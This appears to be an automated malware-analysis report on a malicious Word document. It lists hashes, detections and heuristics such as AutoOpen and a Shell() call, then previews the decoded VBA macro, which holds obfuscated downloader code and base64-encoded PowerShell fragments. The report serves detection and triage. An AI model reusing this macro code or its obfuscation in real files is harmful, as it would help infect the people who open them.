Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 74d3f7dc3417444e…

MALICIOUS

Office (OLE)

101.0 KB Created: 2017-10-26 06:28:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 17f7579e95b91241146319528f393c50 SHA-1: 86ec29e02852f9f13b64ac8b2e0fa03103165f5b SHA-256: 74d3f7dc3417444e17a08c644807475c6b7b3e28316eb96a40877448417093c3
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This Office document contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening. The macro utilizes the Shell() function, indicating an attempt to run an external command. This strongly suggests the document is a downloader for a second-stage payload, though the specific payload and its destination are not directly evident from the provided script excerpt.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 64105 bytes
SHA-256: 0bb4c21df702c15d46b537f601181c90914c7350986ce181479e4aa068fc3341
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 118 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function YBPtiXzjZ()
TrlXz = "Y1WqDzYfFRYjQdzVfHondvbWUEqDdYMmaauWrHzuQYwXRliLdVREnaYcDzVwIUChEmFpiadYKuXEzDFiVfZHGIwACSTrlwlvWPSijsdDrsutDTdzumcduuawnEnPGmmLIbhklaCdCWPNNFzioTzwVHBboV4330PWGRPM"
RZiNjaw = Mid(TrlXz, 4, 151)
cfNjaBwW = RZiNjaw
JubzqsGXH = "SYQAFHKcVGYbjTjhtMLkTVwIvJzsFFpUICbDJrWMVqwbGpWzVbSSYSzwkXSjtbWQQEShsjYCqwOdZWCFmwXimXwpCcSlYmStUfLBXoHpCPbZDWZOVNwvErdsIciPNmdEfVItLAiwqhcXwWmjDEQLqXpcCStvKrcPmXtiNfDUfzEWPGwmqzMIVRNIffrsHmozFMkYdDTXBwjsSSNKB4"
TdiliTquSGz = Mid(JubzqsGXH, 8, 200)
viCzGkRzjm = TdiliTquSGz
FKMjwnS = "4AR29XHP7XSCFRFV034UKbXpZJHiUVwvEdOVfcvbmITAlJQTsjBfzzkIbmzWFENlIfjLYUVzKUcbHXDQtollTQzFtGttcZWhuhrGZFuYNEVdWIAEjjcRTcSsiiSRacVkzujZfzqotNYPuUikGpJszFOSPzXvnczlilfbcaYmtoXFECzNvhLlScnsjOKfZuBQQmhJoGIfQXzIhIONCJAFRLSGwmvOQsNznHpRVnZpZfUuciLXzwGJED8G"
hFKKOwzCFlO = Mid(FKMjwnS, 22, 221)
iYYjRQEAm = hFKKOwzCFlO
SosEOU = "QDH825H0IPC8OL23BUAEFIOAQZIXZPtIsilkIkJvrLkjlijitnlGFCuwMYpKmaIdJLECtSiuWEPACfspIdilinDpjnYkvwIRDHZZajlaFqkAnuwjfzBJvXwWIOSGuwwXvzzuFTPcsDjnDCCpqrEwzzVjJDQMNijGsNFqwBbMkZQsqKTGMdQCtCZvbRlCCDONWZvpwLsoQsMYidpwkKAkOdN9H2UTLR"
TQYUMF = Mid(SosEOU, 27, 189)
GSPfqziPPf = TQYUMF
iVUjrI = "C2K7C1WBCUI1WILqlZAaakqfomScHQzwzPlmvWUFihNLTwqWBBtHuWjJzEmufENEUlbvoZuPEuvsXfLpwwaGXsDdfcmrkZaaTJqiWuicGdDzaqmUswwjdHhchwPMmDiiUVZNocTBNzAtpECopRwobrwMbNBYiWAY"
UlTvfCY = Mid(iVUjrI, 15, 144)
sQSkjC = UlTvfCY
JzAaj = "KW4I1CBXK8KLrbFNwFGjkbmtOTkzbU7BWTWRPUF7ZJ2YSIH"
YDpMEbmw = Mid(JzAaj, 13, 17)
DBwHPPHfoW = YDpMEbmw
dpCUM = "FZKEWZCN0U32AU8BQ7SpnJOfQYKjKCVQOdJAkbmBpBMwbmSrCdzsMFCnzNYrhfNfIYjGBzAmrLAlwQDiGSdjCcEJaWCWDvTKojqDDLqDdNBAFRqhJulPBjcfTajfwdjwspwQZAbucaDpaEDJQXKY7"
GmmlB = Mid(dpCUM, 20, 124)
zBwEJukMa = GmmlB
DNbuoVwvF = "2DCG0D6QQW5KI2J5IDdPuvzEUaLBLtPYKAUaSzrPkKjlrXdTbXOTPwFsHlwubXifPwkcKlFCFNijPNMwzsaniwILucShAznMjAVumAIqSMOBTWcuYAwjzqATnYhiSXBHaSCPrSJzjjVShGsYzYIzAEOqzCHNSaYuKGbBTNCGrzzNUilhjIjtOBHWDLPpLviJLbHbfrFlVCIAEBVQQZhJrifJwFwHwNvvVqBtbKBpDzYMsHM"
aKqAjzcTV = Mid(DNbuoVwvF, 19, 219)
IEowDA = aKqAjzcTV
HrhzkMYBXw = "0UH2KTY1EJC9J6JfVNJJEIIDKjcfLGzdFIQUaHITqmacnEPXWzbQamnjoMPRwORUDMVvnoFOEqSRifQFTFILijDSUjfOsrUQ3L"
iqoIAziz = Mid(HrhzkMYBXw, 15, 81)
BXCFOuVaaaN = iqoIAziz
wbwkuKYunl = "TXLN6RQR7YizsjEaufQfHnBPVMiDEwRNUBmGbYWtscEJGAawZlTVowpqijjCqwrapVdrzwzVJWnijrIUmhdSfwZYLvXrsTDvldTlXjwblzLSJLGqbLQISYvtvEfBaHdpSrtFYXzCiCjhkHOAojQjDvcMiZpSDzAiTWzRRBSDONZQrNJoqfMuqzmXOjXwhfwlCCOOIzinONSpVMVUQBcYkFoWjbCldTWiOnOpzvjswZjdfzCCKDijDaBwNrfjuwKuqjahzjVUUjbKZAS7YYQBTYVGI1500W"
uimtaCDIDLn = Mid(wbwkuKYunl, 11, 259)
qEUmjJjnRzi = uimtaCDIDLn
blfLhGja = "G2L4ZVIM8HRCpzYlOVShvwcZsznIHNfOzcpGYrGtFTQrovRwpKhAXUwdhcwGKQFfbDDNKRMWPZbbhllzfoSwffqiiLZvvzipOkPksEoYzKlwsWvwqzaVzIzwNYiwrRbPqmNzVAEbAuzUurmIQdFvZNsGkTXUVqjjjVIGJwapuzVDJiCVlaiNLfpdtGMCdkFKNSlYijzSDPBZrpzFQBivHSUDffMClXMKuLpqtdmFbPKwiQlEJGlbBJCuwhsDTwjfDqffzGMnPdUrBFYIG3"
slGwfwAd = Mid(blfLhGja, 10, 259)
ZnwMlw = slGwfwAd
kEqljFlM = "P10UNWATYAH77UOXTU3PWTUX89R7MdQpzTjiMNAEbwijzBPUzvZHN8Y"
pkBfNjEPo = Mid(kEqljFlM, 30, 23)
StAuYJ = pkBfNjEPo
nRijKRcH = "CG4LYfMjiHEbnpnqBaGvPjR9C767EP63IEO5L3A4PA"
VRuOYmEwqLU = Mid(nRijKRcH, 5, 18)
sZMmbrfmpMA = VRuOYmEwqLU
End Function
Function vVGFMiUuU()
vuiOuq = "1190HIFZ3HKD2AsADEAMQA1AGIAOQA3AGsAMQAwADMAOwAxADAAMQA+ADUAOQAsADEAMgA1AGIAMQAyADUAJwAuAFMAcABsAEkAdAAoACcAawAsACUAdgBFAD4AOwBSADoAYgAnACkAfAAgAEYAbwBSAEUAQQBDAEgAIAB7ACAAKAAgAFsASQBuAHQAXQAkAF8AIAAtAEEAUwBbAEMAaABBAHIAXQApAH0AIAApACAALQBqAE8AaQBuACAAJ6DG"
DAViawbF = Mid(vuiOuq, 14, 239)
upCpRt = DAViawbF
czALqhwdOr = "K7E6QV02LLREPCJQ1AMQAwADAAawA3ADAAOgAxADEANwBiADcAOABFADQANwBrADQANABiADEAMAA0AHYAMQAxADYALAAxADEANgA7ADEAMQAyAFIANQA4ADoANAA3AHYANAA3ADsAOQA3AEUAMQAwADgAdgAxADAAOAA6ADEAMQAxAD4AMQAwADMAJQAxADAAMwA+ADEAMAA1AEUANAA2ACwAMQAxADUAawAxADAAMQBSADQANwB2ADEAMAA1AD4ANAA3AGsANA
... (truncated)

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